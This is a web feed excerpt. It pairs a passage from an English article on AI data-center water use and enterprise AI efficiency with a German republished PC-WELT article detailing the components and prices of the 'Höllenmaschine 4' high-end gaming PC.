<p class="wp-block-paragraph">In 2025, Amazon’s global data center operations used <a href="https://www.aboutamazon.com/news/sustainability/amazon-data-center-water-usage">0.12 liters of water per kilowatt-hour</a>, which amounts to 2.5 billion gallons, or 5% of the annual water consumed by the metro Seattle area. The company has been able to operate more than seven times better than the industry average and have improved their water efficiency by 52% since 2021.</p>



<p class="wp-block-paragraph">As demand for cloud computing and AI grows, water efficiency is another important metric for CIOs to monitor within hyperscaler ESG reports. While not at the same level of regulation as scope 2 and 3 greenhouse gas (GHG) emissions reporting, enterprises need to pay increasing attention to water use efficiency (WUE) with water scarcity becoming a growing risk for hyperscalers.</p>



<p class="wp-block-paragraph">The key requisite at the infrastructure layer, though, is to ensure sovereign AI. This doesn’t mean you need to own everything, but you need control over your AI-driven operations when conditions change. With <a href="https://www.ibm.com/thought-leadership/institute-business-value/en-us/report/ai-sovereignty">71% of global executives stating that switching their primary AI vendor or model would be difficult if required today</a>, it’s important to understand AI dependencies and be able to avoid vendor lock-in. </p>



<h2 class="wp-block-heading">Control efficiency at the data layer</h2>



<p class="wp-block-paragraph">The AI energy conversation has fixated on models and GPUs, but every agent, model, and inference call runs on the data layer beneath them, and that’s the one place a CIO can actually move the numbers.</p>



<p class="wp-block-paragraph">“You can’t control consumption at the model layer,” says Romanenko. “Agents consume what they consume. But you can control efficiency at the data layer, and for most enterprises that’s the only real lever they have. Optimize search, retrieval, and vector indexing where the work actually happens and you cut compute, cost, and carbon at the same time. Ignore it, and it’s like running the heat with every window open.”</p>



<p class="wp-block-paragraph">Ann Dunkin, distinguished professor of the practice at Georgia Tech, adds that CIOs who bring models in house and run them in their own infrastructure, or in the cloud infrastructure of their choosing, can have more control over the sustainability of inference, as well as of their costs and how their data is used.</p>



<h2 class="wp-block-heading">Fine tune the application layer</h2>



<p class="wp-block-paragraph">When balancing a mix of commercial AI packages and custom-built code, costs can quickly spiral due to inefficient design and orchestration, redundant APIs, and unoptimized model routing.</p>



<p class="wp-block-paragraph">With inference calls costing approximately 10 times that of conventional web queries, for custom AI applications, it’s important to design them to only use probabilistic code where necessary. Since many custom applications utilize a combination of both <a href="https://www.cio.com/article/4133150/4-tips-to-help-the-new-innovators-struggle-with-ai-and-traditional-code.html">probabilistic and deterministic code</a>, this is exactly where software developers need to make smart choices in their designs.</p>



<p class="wp-block-paragraph">Other techniques to fine tune the application layer include semantic caching, intelligent model routing, and internal AI capability registries. “CIOs can implement intelligent routing solutions to select the most cost-efficient model for every prompt,” says Dunkin. “The most flexible routing solutions can drop into a user’s existing environment and orchestrate the actions of the company’s existing models.”</p>



<p class="wp-block-paragraph">For CIOs looking to maximize the business value of every AI application in their portfolio, these new considerations, including new metrics, tools and approaches from the infrastructure layer all the way up to the application layer, should be an essential part of the equation.</p>
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<title><![CDATA[Vier Grafikkarten, sechs CPU-Kerne: So sah vor 14 Jahren die Höllenmaschine 4 aus]]></title>
<description><![CDATA[Hinweis: Dieser Artikel erschien im März 2007 auf pcwelt.de. Anlässlich unseres 20‑jährigen Jubiläums haben wir mittels der Wayback Machine des Internet Archive das zeitgeschichtliche Dokument restauriert. Wir haben alle Hyperlinks im Text belassen – sofern sie noch auf historische Inhalte führen...]]></description>
<link>https://tsecurity.de/de/3685665/it-nachrichten/vier-grafikkarten-sechs-cpu-kerne-so-sah-vor-14-jahren-die-hoellenmaschine-4-aus/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685665/it-nachrichten/vier-grafikkarten-sechs-cpu-kerne-so-sah-vor-14-jahren-die-hoellenmaschine-4-aus/</guid>
<pubDate>Wed, 22 Jul 2026 10:34:12 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Hinweis: Dieser Artikel erschien im März 2007 auf pcwelt.de. Anlässlich unseres 20‑jährigen Jubiläums haben wir mittels der <a href="https://web.archive.org/" target="_blank" rel="noreferrer noopener">Wayback Machine des Internet Archive</a> das zeitgeschichtliche Dokument restauriert. Wir haben alle Hyperlinks im Text belassen – sofern sie noch auf historische Inhalte führen.</p>



<p>Hier geht es direkt zum <a href="https://www.pcwelt.de/hmx" target="_blank" rel="noreferrer noopener">Gewinnspiel der aktuellen Höllenmaschine HMX 6 im Gesamtwert von 40.000 Euro</a>. Bestens informiert bleiben Sie mit unserem <a href="https://www.pcwelt.de/newsletter-anmeldung" target="_blank" rel="noreferrer noopener">HMX-6-Newsletter</a> – aber vergessen Sie nicht, die Anmeldung via E-Mail zu bestätigen. Und nun viel Spaß mit der vierten Höllenmaschine:</p>



<p>Die PC-WELT Höllenmaschine 4 repräsentiert den Stand der PC-Technik. Die beste Hard- und Software ist gerade gut genug für den ultimativen Rechnertraum. Auch die vierte Generation im Wert von 13.333 Euro können Sie wieder gewinnen.</p>



<p>Das Rückgrat des 22 Kilogramm schweren <a href="https://web.archive.org/web/20120907053335/http://www.coolermaster.de/product.php?category_id=18&amp;product_id=6767">Cooler Master Cosmos II</a> bildet eine massive Stahlkonstruktion. Zu den Besonderheiten des 300 Euro teuren Big-Towers gehören eine zentrale Lüftersteuerung, Kabelmanagement, Flügeltüren und massig Platz: Das Gehäuse besitzt allein elf Laufwerksschächte für 3,5-Zoll-Festplatten und nimmt Hauptplatinen bis zum E-ATX-Formfaktor auf.</p>



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<h2 class="wp-block-heading toc">Airbrush der Höllenmaschine 4</h2>



<p>Für das lodernde Airbrush und das seitliche Sichtfenster der Höllenmaschine 4 zeichnen sich die Casemodder Martin und Stefan Blass verantwortlich. Sein höllisch gutes Aussehen verdankt das Gehäuse den international bekannten Casemoddern Martin und Stefan Blass. Auf ihrer <a href="https://web.archive.org/web/20120707010431/http://babetech.de/">Website</a> können Sie sich von den Fähigkeiten der kunstfertigen Casemodder überzeugen. Das preisgekrönte Brüderpaar kümmert sich nicht nur um das teuflische Airbrush und bauliche Veränderungen wie das seitliche Sichtfenster, sondern zeichnet sich auch für die Innenbeleuchtung der Gehäusemodifikation verantwortlich.</p>



<p>Die Gebrüder haben für den schönen Schein einen <a href="https://web.archive.org/web/20100211155227/http://www.leds-and-more.de/catalog/product_info.php?products_id=1128">Multidimmer von Richter</a> eingebaut, der LED-Ketten im Gehäuseinnenraum und im Bodenbereich ansteuert. Über die beiliegende Fernbedienung wählen Sie zwischen acht verschiedenen Grundfarben aus, regulieren die Helligkeit und definieren individuelle Farbwechsel.</p>



<p>Bei der Asus Rampage IV Extreme paart sich eine erlesene Hauptplatinen-Ausstattung mit einem detailverliebten UEFI-Bios, das keine Wünsche offen lässt: Die Sockel-LGA2011-Hauptplatine basiert auf dem Intel-Chipsatz X79. Das UEFI-Motherboard besitzt je acht Speicherbänke, SATA- und USB-Ports sowie fünfmal 16x PCI-Express 3.0. Zur Sonderausstattung gehören CMOS-, Start- und Reset-Knopf, Diagnose-LED, Bluetooth-Unterstützung und umfassende Übertaktungsoptionen, die sich zudem in Echtzeit überwachen lassen.</p>



<h2 class="wp-block-heading toc">Prozessor: die schnellste Desktop-CPU der Welt</h2>



<p>Der <a href="https://web.archive.org/web/20130510132630/http://www.pcwelt.de/produkte/CPU-mit-Rekordtempo-Intel-Core-i7-3960X-Extreme-Edition-im-Test-3907870.html">Intel Core i7-3960X</a> ist der aktuell schnellste Desktop-Prozessor im Test. Das Intel-Flaggschiff besitzt sechs CPU-Kerne und arbeitet dank Hyperthreading als virtueller 12‑Kern‑Prozessor. Der Werkstakt liegt bei 3,3 Gigahertz, in der Höllenmaschine 4 läuft der Core i7 mit 4 GHz. Berechnungen puffert der 3960X in einem dreistufigen Cache-System: So ist die dritte Cache-Stufe, die alle Prozessorkerne dynamisch nutzen können, 15 MB mächtig. Auf die erste und zweite Cache-Stufe mit 64 beziehungsweise 256 KB darf hingegen jeder CPU-Kern exklusiv zugreifen.</p>



<p>Eine der wichtigsten exklusiven Funktionen der LGA2011-Baureihe ist der integrierte Speicher-Controller, der vier DDR3-Kanäle gleichzeitig ansteuert. Ebenfalls in der CPU verbaut sind 40 PCI-Express-3.0-Kanäle. Zur weiteren Ausstattung gehören der Schutz vor Angriffen durch einen Puffer-Überlauf (XD-Bit), zusätzliche Befehlssätze wie SSE 4.2 und das Advanced Encryption Standard Instruction Set (AES IS) sowie die Advanced Vector Extensions (AVX). Zudem unterstützt der Prozessor die Virtualisierungs-Technik Intel VT sowie 32- und 64-Bit-Betriebssysteme – so lassen sich etwa virtuelle Workstations mit unterschiedlichen Betriebssystemen einrichten.</p>



<p>Die Wasserkühlung Cooler Master Eisberg 240L Prestige gibt die CPU-Abwärme über einen Dual-Radiator an die Außenwelt ab, der zwei 120-Millimeter-Lüfter beherbergt. Das Rotationstempo der mit knapp 21 dB(A) sehr leisen Lüfter liegt bei 1600 Umdrehungen pro Minute. Im Microchannel-Kühlblock arbeitet deutsche Pumpentechnik, die bis zu 400 Liter pro Stunde durch das Kühlsystem schleudert und für mindestens 50 000 Betriebsstunden ausgelegt ist. Der keramikbeschichtete Pumpenantrieb dreht sich mit bis zu 3600 Rotationen pro Minute.</p>



<h2 class="wp-block-heading toc">Grafik: 2x ASUS GTX690-4GD5 im Quad-SLI</h2>



<p>Um die Grafikdarstellung kümmert sich in der Höllenmaschine 4 die derzeit leistungsfähigste Grafikkarte der Welt, die <a href="https://web.archive.org/web/20121015164916/http://www.asus.com/Graphics_Cards/NVIDIA_Series/GTX6904GD5/">ASUS GTX690-4GD5</a>. Kostenpunkt: knapp 1000 Euro pro Stück. Die Karte beherbergt mit der <a href="https://web.archive.org/web/20121006082219/http://www.pcwelt.de/produkte/Grafikkarte-Nvidia-Geforce-GTX-690-im-Test-5780074.html">Nvidia Geforce GTX 690</a> gleich zwei 915 Megahertz schnelle Grafikprozessoren, die gemeinsam die 3D-Berechnung übernehmen.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure data-wp-context='{"imageId":"6a60804a22aec"}' data-wp-interactive="core/image" class="wp-block-image size-full wp-lightbox-container"><img decoding="async" data-wp-class--hide="state.isContentHidden" data-wp-class--show="state.isContentVisible" data-wp-init="callbacks.setButtonStyles" data-wp-on-async--click="actions.showLightbox" data-wp-on-async--load="callbacks.setButtonStyles" data-wp-on-async-window--resize="callbacks.setButtonStyles" src="https://b2c-contenthub.com/wp-content/uploads/2026/07/ASUS-GTX690-4GD5-im-Quad-SLI.jpg?quality=50&amp;strip=all" alt="2x ASUS GTX690-4GD5 im Quad-SLI in der Höllenmaschine 4" class="wp-image-3188925" width="900" height="608" loading="lazy"><button class="lightbox-trigger" type="button" aria-haspopup="dialog" aria-label="Enlarge" data-wp-init="callbacks.initTriggerButton" data-wp-on-async--click="actions.showLightbox" data-wp-style--right="state.imageButtonRight" data-wp-style--top="state.imageButtonTop">
				<svg xmlns="http://www.w3.org/2000/svg" width="12" height="12" fill="none" viewbox="0 0 12 12">
					<path fill="#fff" d="M2 0a2 2 0 0 0-2 2v2h1.5V2a.5.5 0 0 1 .5-.5h2V0H2Zm2 10.5H2a.5.5 0 0 1-.5-.5V8H0v2a2 2 0 0 0 2 2h2v-1.5ZM8 12v-1.5h2a.5.5 0 0 0 .5-.5V8H12v2a2 2 0 0 1-2 2H8Zm2-12a2 2 0 0 1 2 2v2h-1.5V2a.5.5 0 0 0-.5-.5H8V0h2Z"></path>
				</svg>
			</button><figcaption class="wp-element-caption">Quad-SLI in der Höllenmaschine 4 mit zwei ASUS GTX690-4GD5</figcaption></figure><p class="imageCredit">PC-WELT</p></div>



<p>In der Höllenmaschine 4 sind gleich zwei der Asus-Doppeldecker, die über eine SLI-Brücke (Scalable Link Interface) verbunden sind. So arbeiten insgesamt vier Grafikprozessoren parallel im Quad-SLI-Modus. In der Summe stehen damit die Rechen-Power von 6144 Shader- und 512 Textur-Einheiten sowie 128 Rasteroperatoren bereit. Dabei kann der Karten-Verbund auf 4 Gigabyte GDDR5-Videospeicher zugreifen, der mit einem effektiven Datentakt von 6000 MHz arbeitet. Jede Grafikkarte besitzt mit einem Mini-Displayport und dreimal DVI vier digitale Ausgänge.</p>



<h2 class="wp-block-heading toc">Ausstattung der Höllenmaschine 4 im Überblick</h2>



<figure class="wp-block-table"><table class="has-fixed-layout"><tbody><tr><th>Komponente</th><th>Modell</th><th>Preis (Euro) <strong>am 31.8.2012</strong></th></tr><tr><td>Gehäuse</td><td>Casemod auf Basis des Cooler Master Cosmos II</td><td>1413</td></tr><tr><td>Hauptplatine</td><td>Asus Rampage IV Extreme, Intel X79, LGA2011</td><td>350</td></tr><tr><td>Prozessor</td><td>Intel Core i7-3960X, 3,30 GHz, 6 Kerne, 12 Theads</td><td>900</td></tr><tr><td>CPU-Kühlung</td><td>Cooler Master Eisberg 240L Prestige</td><td>180</td></tr><tr><td>Arbeitsspeicher</td><td>8 x 8 GB Adata XPG X Series PC3-17066U</td><td>880</td></tr><tr><td>Grafikkarte</td><td>2 x Asus GTX690-4GD5, Nvidia Geforce GTX 690</td><td>2000</td></tr><tr><td>Bildschirme</td><td>3 x ASUS VG278H, 27 Zoll, 3D-LED-LCD,</td><td>1550</td></tr><tr><td>SSD (System)</td><td>OCZ RevoDrive 3 X2 480GB, PCI-Express, 4fach Raid-0</td><td>650</td></tr><tr><td>Festplatten (Daten intern)</td><td>4 x Western Digital VelociRaptor 1000GB, Raid-5</td><td>1000</td></tr><tr><td>Festplatten (Daten extern)</td><td>2 x Western Digital Caviar Green 3000GB</td><td>300</td></tr><tr><td>Blu-ray-Brenner</td><td>Asus BW-12B1ST, SATA</td><td>100</td></tr><tr><td>Netzteil</td><td>Cooler Master Silent Pro Hybrid 1300W</td><td>250</td></tr><tr><td>Eingabegerät</td><td>Logitech G9x Laser Mouse und G19 Gaming Keyboard</td><td>200</td></tr><tr><td>Lautsprecher-Set</td><td>Logitech Z906, 5.1 System</td><td>250</td></tr><tr><td>Headset</td><td>Logitech G930 Wireless Gaming Headset</td><td>150</td></tr><tr><td>Betriebssystem</td><td>Microsoft Windows 7 Ultimate 64 Bit</td><td>160</td></tr><tr><td>Multimedia-Paket</td><td>Adobe Creative Suite 6 Design &amp; Web Premium</td><td>2000</td></tr><tr><td>Spiele-Paket</td><td>18 Top-Titel</td><td>600</td></tr><tr><td>Office-Paket</td><td>Microsoft Office Professional 2010</td><td>400</td></tr></tbody></table></figure>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure data-wp-context='{"imageId":"6a60804a2346d"}' data-wp-interactive="core/image" class="wp-block-image size-full wp-lightbox-container"><img decoding="async" data-wp-class--hide="state.isContentHidden" data-wp-class--show="state.isContentVisible" data-wp-init="callbacks.setButtonStyles" data-wp-on-async--click="actions.showLightbox" data-wp-on-async--load="callbacks.setButtonStyles" data-wp-on-async-window--resize="callbacks.setButtonStyles" src="https://b2c-contenthub.com/wp-content/uploads/2026/07/pc-welt-hoellenmaschine-4-von-links-mit-offener-fluegeltuer.jpg?quality=50&amp;strip=all" alt="Höllenmaschine 4 mit geöffneter Flügeltür" class="wp-image-3188918" width="1024" height="768" loading="lazy"><button class="lightbox-trigger" type="button" aria-haspopup="dialog" aria-label="Enlarge" data-wp-init="callbacks.initTriggerButton" data-wp-on-async--click="actions.showLightbox" data-wp-style--right="state.imageButtonRight" data-wp-style--top="state.imageButtonTop">
				<svg xmlns="http://www.w3.org/2000/svg" width="12" height="12" fill="none" viewbox="0 0 12 12">
					<path fill="#fff" d="M2 0a2 2 0 0 0-2 2v2h1.5V2a.5.5 0 0 1 .5-.5h2V0H2Zm2 10.5H2a.5.5 0 0 1-.5-.5V8H0v2a2 2 0 0 0 2 2h2v-1.5ZM8 12v-1.5h2a.5.5 0 0 0 .5-.5V8H12v2a2 2 0 0 1-2 2H8Zm2-12a2 2 0 0 1 2 2v2h-1.5V2a.5.5 0 0 0-.5-.5H8V0h2Z"></path>
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			</button></figure><p class="imageCredit">PC-WELT</p></div>



<h2 class="wp-block-heading toc">Monitore: PC-Spiele in 3D auf 3 Panels gleichzeitig</h2>



<p>Der Höllenmaschine 4 stellen wir den 27-Zoll-Bildschirm <a href="https://web.archive.org/web/20120620023231if_/http://www.asus.de/Display/LCD_Monitors/VG278H">ASUS VG278H</a> zur Seite. Die physikalische Auflösung des 120-Hertz-Monitors beträgt 1920 x1080 Pixel, die Reaktionszeit 2 Millisekunden. Die LED-Hintergrundbeleuchtung erzielt eine Helligkeit von 300 cd/m2 und unterstützt die Lightboost-Technik und damit natürlich auch <a href="https://web.archive.org/web/20120905172245/http://www.pcwelt.de/produkte/Test-Nvidia-3D-Vision-2-4158397.html">Nvidia 3D Vision 2</a> – eine Technologie, die das Spielen in der dritten Dimension möglich macht. Im Lieferumfang des Asus-LCDs ist das “Nvidia 3D Vision”-Set aus Infrarot-Sender (integriert im Bildschirmrahmen) und Shutter-Brille enthalten. Der VG278H bietet mit DVI, HDMI und D-Sub drei Videoeingänge sowie einen Kopfhöreranschluss.</p>



<p>Ein großer 27-Zoll-Monitor ist gut, doch drei ASUS VG278H sind besser. Die gebündelte Auflösung des Bildschirm-Trios von 5760 x 1080 Pixeln erlaubt einen Desktop, auf dem sich bequem arbeiten lässt: Da kann man zahlreiche Fenster in ihrer vollen Größe geöffnet lassen, und behält dennoch den Überblick. Interessant ist diese große Arbeitsumgebung auch für Grafiker und Video-Bearbeiter, die dadurch gleich mehrere Projekte am Laufen halten, ohne eines schließen zu müssen.</p>



<p>Ernsthaften PC-Spielern kann dagegen die Bildschirmgröße nicht groß genug sein – denn sie bedeutet größere Übersicht und ein realistischeres Spielerlebnis. So füllt etwa die wunderschöne Landschaft in Skyrim die volle Breite der drei Monitore aus und wirkt dadurch schon fast wie ein echter Horizont, der Lust auf das Erkunden macht. Dank der brachialen Leistung der Höllenmaschine 4 und <a href="https://web.archive.org/web/20120825211507/http://www.nvidia.de/object/3d-vision-surround-requirements-de.html">Nvidia 3D Vision Surround</a> geht das auch flüssig in stereoskopischem 3D.</p>



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<h2 class="wp-block-heading toc">Arbeitsspeicher: Quad-Channel mit 64 Gigabyte</h2>



<p>Speicher kann man nie genug haben! Die acht Module Adata XPG X Series PC3-17066U mit jeweils 8 Gigabyte Kapazität steuert der Controller in der Intel-CPU im Vierkanal-Modus an. Die Module laufen mit 10-11-11-30er-Zugriffszeiten. Der mit dem Extreme Memory Profile (XMP) effektiv 2133 Megahertz schnelle Arbeitsspeicher beschert der Höllenmaschine 4 eine Speicherbandbreite von über 45 Gigabyte pro Sekunde. Da macht Virtualisierung so richtig Spaß.</p>



<h2 class="wp-block-heading toc">PCI-Express-SSD, 4 WD VelociRaptor und 4 WD Caviar Green </h2>



<p>Das Betriebssystem und alle Programme dürfen auf der Solid State Drive OCZ RevoDrive 3 X2 480GB Platz nehmen. Die Flashspeicher-Festplatte arbeitet mit vier Sandforce-SF-2281-Controllern intern als Raid-0-Verbund. Dadurch erreicht die SSD eine Datentransferrate von in der Spitze fast 1400 Megabyte pro Sekunde und einen Befehlsdurchsatz von bis zu 230.000 IOPS beim zufälligen Schreiben von 4-KB-Blöcken. Eine herkömmliche SATA-Schnittstelle würde das OCZ-Modell ausbremsen, deswegen setzt das RevoDrive auf einen PCI-Express-Anschluss.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure data-wp-context='{"imageId":"6a60804a23f8a"}' data-wp-interactive="core/image" class="wp-block-image size-full wp-lightbox-container"><img decoding="async" data-wp-class--hide="state.isContentHidden" data-wp-class--show="state.isContentVisible" data-wp-init="callbacks.setButtonStyles" data-wp-on-async--click="actions.showLightbox" data-wp-on-async--load="callbacks.setButtonStyles" data-wp-on-async-window--resize="callbacks.setButtonStyles" src="https://b2c-contenthub.com/wp-content/uploads/2026/07/OCZ-RevoDrive-3-X2.jpg?quality=50&amp;strip=all" alt="OCZ RevoDrive 3 X2: SSD der Höllenmaschine 4" class="wp-image-3188932" width="1024" height="725" loading="lazy"><button class="lightbox-trigger" type="button" aria-haspopup="dialog" aria-label="Enlarge" data-wp-init="callbacks.initTriggerButton" data-wp-on-async--click="actions.showLightbox" data-wp-style--right="state.imageButtonRight" data-wp-style--top="state.imageButtonTop">
				<svg xmlns="http://www.w3.org/2000/svg" width="12" height="12" fill="none" viewbox="0 0 12 12">
					<path fill="#fff" d="M2 0a2 2 0 0 0-2 2v2h1.5V2a.5.5 0 0 1 .5-.5h2V0H2Zm2 10.5H2a.5.5 0 0 1-.5-.5V8H0v2a2 2 0 0 0 2 2h2v-1.5ZM8 12v-1.5h2a.5.5 0 0 0 .5-.5V8H12v2a2 2 0 0 1-2 2H8Zm2-12a2 2 0 0 1 2 2v2h-1.5V2a.5.5 0 0 0-.5-.5H8V0h2Z"></path>
				</svg>
			</button><figcaption class="wp-element-caption">Die erste SSD in einer Höllenmaschine: OCZ RevoDrive 3 X2</figcaption></figure><p class="imageCredit">OCZ/Kioxia </p></div>



<p>Das interne Backup übernimmt ein RAID-5‑Verbund aus vier 1-Terabyte-Festplatten. Dabei kommt das derzeit schnellste 3,5-Zoll-Laufwerk im Test zum Einsatz, die <a href="https://web.archive.org/web/20121006075341/http://www.pcwelt.de/produkte/Test-Western-Digital-VelociRaptor-WD1000D-Festplatte-5763554.html">Western Digital VelociRaptor WD1000DHTZ</a>. Die VelociRaptor rotiert mit 10.000 Umdrehungen pro Minute und puffert Zugriffe in einem 64 MB großen Cache. Die maximale Datenrate der Festplatte liegt bei 210 Megabyte pro Sekunde, die durchschnittliche Zugriffszeit bei 3,7 Millisekunden. Als RAID-5‑Verbund kommt das Platten-Quartett auf bis zu 560 Megabyte pro Sekunde und stellt dabei noch knapp 2,7 Gigabyte nutzbare Kapazität zur Verfügung.</p>



<p>Die Aufgabe des klassischen Massenspeichers für umfangreiche Foto-, Musik- und Videosammlungen übernehmen die beiden 3,5-Zoll-Festplatten <a href="https://web.archive.org/web/20120922021349/http://www.pcwelt.de/produkte/Test-Western-Digital-Caviar-Green-WD30EZRX-6091202.html">Western Digital Caviar Green 3000GB WD30EZRX</a>. Die besonders stromsparenden Laufwerke stecken in den zwei abschließbaren Hot-Swap-Schächten der Höllenmaschine 4. So lassen sich schnell und bequem knapp 5,5 Terabyte nutzbarer Speicherplatz im laufenden Betrieb an- und abstöpseln oder auch mal unkompliziert von A nach B tragen.</p>



<figure class="wp-block-embed is-type-video is-provider-youtube wp-block-embed-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio"><div class="wp-block-embed__wrapper">

</div></figure>



<h2 class="wp-block-heading toc">Stromversorgung: bis zu 105 Ampere auf der 12-Volt-Schiene</h2>



<p>Keine Kompromisse machen wir bei der Stromversorgung der Höllenmaschine 4. Das <a href="https://web.archive.org/web/20121005045440/http://coolermaster.de/product.php?product_id=6744" target="_blank" rel="noreferrer noopener">Cooler Master Silent Pro Hybrid 1300W</a> bietet genügend Reserven, um alle Komponenten zuverlässig mit Energie zu versorgen. Das vollständig modulare Netzteil stellt auf der 12-Volt-Schiene in der Spitze bis zu 105 Ampere bereit und federt damit auch locker die Lastspitzen der stromhungrigen Grafikkarten ab.</p>



<p>Aufgrund der “<a href="https://web.archive.org/web/20121005072013/http://www.plugloadsolutions.com/80PlusPowerSupplies.aspx">80 PLUS Gold</a>“-Zertifizierung arbeitet das ATX-2.3-Kraftpaket mit einem Wirkungsgrad von über 90 Prozent trotzdem sehr energieeffizient. Dank der semipassiven Kühlung ist das 1300-Watt-Netzteil aber auch flüsterleise. Zudem erlaubt die im Lieferumfang enthaltene 5,25-Zoll-Lüftersteuerung neben dem automatischen Modus ein stufenlos regulierbares Drehtempo für den 130-Millimeter-Lüfter – bei harter Dauerbelastung drehen Sie den Regler einfach voll auf.</p>



<p>Um optische Massenspeicher kümmert sich der Blu-ray-Brenner <a href="https://web.archive.org/web/20120905095420if_/http://www.asus.de/Optical_Storage/Internal_Bluray_Drive/BW12B1ST/">Asus BW-12B1ST</a>. Das Multi-Norm-Laufwerk versteht sich aber auch auf alle gängigen CD- und DVD-Formate. Bei maximal 12-fachem Schreibtempo füllt das Asus-Modell einen einlagigen 25-GB-BR-Rohling in rund 11 Minuten. BD-REs beschreibt das SATA-Laufwerk mit 2-fachem Tempo, Blu-ray-Medien liest er mit 8-facher Geschwindigkeit. Im Lieferumfang des Asus BW-12B1ST ist Software für das Backup, Brennen und Abspielen von Blu-rays enthalten.</p>



<h2 class="wp-block-heading toc">Peripherie: Luxus-Eingabegeräte und 5.1-Raumklang</h2>



<p>Die <a href="https://logitech-de.a58n.net/c/230135/592382/9750?subid1=rss&amp;u=https://web.archive.org/web/20121027093942/http://www.logitech.com/de-de/mice-pointers/mice/5092">Logitech G9x Laser Mouse</a> kommt mit einem 4-Wege-Scrollrad und löst mit bis zu 5700 dpi auf. Die USB-Maus besitzt eine anpassbare Griffschale sowie ein bis auf 28 Gramm aufrüstbares Gewichtsmagazin. Der interne Speicher sichert bis zu fünf Profile für individuelle Tastatur-Makros und Abtastraten.</p>



<p>Das <a href="https://logitech-de.a58n.net/c/230135/592382/9750?subid1=rss&amp;u=https://web.archive.org/web/20121007015940/http://www.logitech.com/de-de/keyboards/keyboards/4956">Logitech G19 Gaming Keyboard</a> besitzt ein integriertes Farb-LCD, das in Echtzeit Spiele-Informationen wie die Server-IP-Adresse oder den Punktestand für über 35 Titel anzeigt. Die G19 erlaubt verschiedene Beleuchtungsfarben und hat 12 voll programmierbare G-Tasten sowie Sondertasten für den schnellen Multimedia-Zugriff. Das Logitech-Modell fungiert aber auch als aktiver 2-fach-USB-Hub und überrascht mit einer Kabelführung auf der Unterseite für Maus und Headset.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure data-wp-context='{"imageId":"6a60804a247c5"}' data-wp-interactive="core/image" class="wp-block-image size-large wp-lightbox-container"><img decoding="async" data-wp-class--hide="state.isContentHidden" data-wp-class--show="state.isContentVisible" data-wp-init="callbacks.setButtonStyles" data-wp-on-async--click="actions.showLightbox" data-wp-on-async--load="callbacks.setButtonStyles" data-wp-on-async-window--resize="callbacks.setButtonStyles" src="https://b2c-contenthub.com/wp-content/uploads/2026/07/Logitech-G19-Gaming-Keyboard.jpg?quality=50&amp;strip=all&amp;w=1200" alt="Logitech G19 Gaming Keyboard" class="wp-image-3190427" width="1200" height="816" loading="lazy"><button class="lightbox-trigger" type="button" aria-haspopup="dialog" aria-label="Enlarge" data-wp-init="callbacks.initTriggerButton" data-wp-on-async--click="actions.showLightbox" data-wp-style--right="state.imageButtonRight" data-wp-style--top="state.imageButtonTop">
				<svg xmlns="http://www.w3.org/2000/svg" width="12" height="12" fill="none" viewbox="0 0 12 12">
					<path fill="#fff" d="M2 0a2 2 0 0 0-2 2v2h1.5V2a.5.5 0 0 1 .5-.5h2V0H2Zm2 10.5H2a.5.5 0 0 1-.5-.5V8H0v2a2 2 0 0 0 2 2h2v-1.5ZM8 12v-1.5h2a.5.5 0 0 0 .5-.5V8H12v2a2 2 0 0 1-2 2H8Zm2-12a2 2 0 0 1 2 2v2h-1.5V2a.5.5 0 0 0-.5-.5H8V0h2Z"></path>
				</svg>
			</button></figure><p class="imageCredit">Logitech</p></div>



<p>Das THX-zertifizierte Lautsprecherset <a href="https://logitech-de.a58n.net/c/230135/592382/9750?subid1=rss&amp;u=https://web.archive.org/web/20120927123116/http://www.logitech.com/de-de/speakers-audio/home-pc-speakers/speaker-system-Z906">Logitech Z906</a> bietet 5.1-Raumklang mit digitaler Dolby- und DTS-Decodierung. Bis zu sechs digitale und analoge Audioquellen lassen sich gleichzeitig an die Bedienkonsole anschließen. Alternativ bedienen Sie das 500-Watt-Lautsprechersystem kabellos über die Fernbedienung.</p>



<p>Wer nachts die Nachbarn nicht stören darf, greift zum <a href="https://logitech-de.a58n.net/c/230135/592382/9750?subid1=rss&amp;u=https://web.archive.org/web/20121014132143/http://www.logitech.com/de-de/gaming/headsets/7248">Logitech G930 Wireless Gaming Headset</a>. Das funkt digital mit 2,4 Gigahertz zehn Stunden lang über eine Reichweite von bis zu 12 Metern. Das Headset kommt mit drei programmierbaren Tasten, Geräuschunterdrückung und Kondensatormikrofon. Dank der Dolby-Technik Headphone und Pro Logic II kann das G930 sogar 7.1-Surround-Sound simulieren.</p>



<h2 class="wp-block-heading toc">Kreativ-, Spiele- und Office-Paket für 4000 Euro</h2>



<p>Auf der Höllenmaschine 4 vorinstalliert haben wir das 64-Bit-Betriebssystem <a href="https://web.archive.org/web/20121004014010/http://www.pcwelt.de/special/Windows-7-1001833.html">Windows 7 Ultimate</a>. Für das Microsoft-Betriebssystem haben wir uns auch wegen der DirectX-11-Unterstützung entschieden. Das laut Windows-Experte Hermann Apfelböck “beste Windows aller Zeiten” verwöhnt in der multilingualen Ultimate-Variante mit den exklusiven Funktionen Bitlocker-Verschlüsselung und dem nützlichen VHD-Boot.</p>



<p>Dazu gibt es drei fette Software-Pakete frei Haus. Das Highlight für Kreative ist die <a href="https://web.archive.org/web/20120701102134/http://success.adobe.com/de/de/sem/products/creativesuite/dwp.html">Adobe Creative Suite 6 Design &amp; Web Premium</a>. Die „Rundum glücklich“-Lösung für professionelle Bildbearbeitung, Layout und Website-Design integriert die Digital Publishing Suite und enthält folgende Programme und Werkzeuge: Acrobat X Pro, Bridge, Dreamweaver, Flash Builder, Flash Professional, Fireworks, Illustrator, InDesign, Media Encoder und Photoshop Extended.</p>



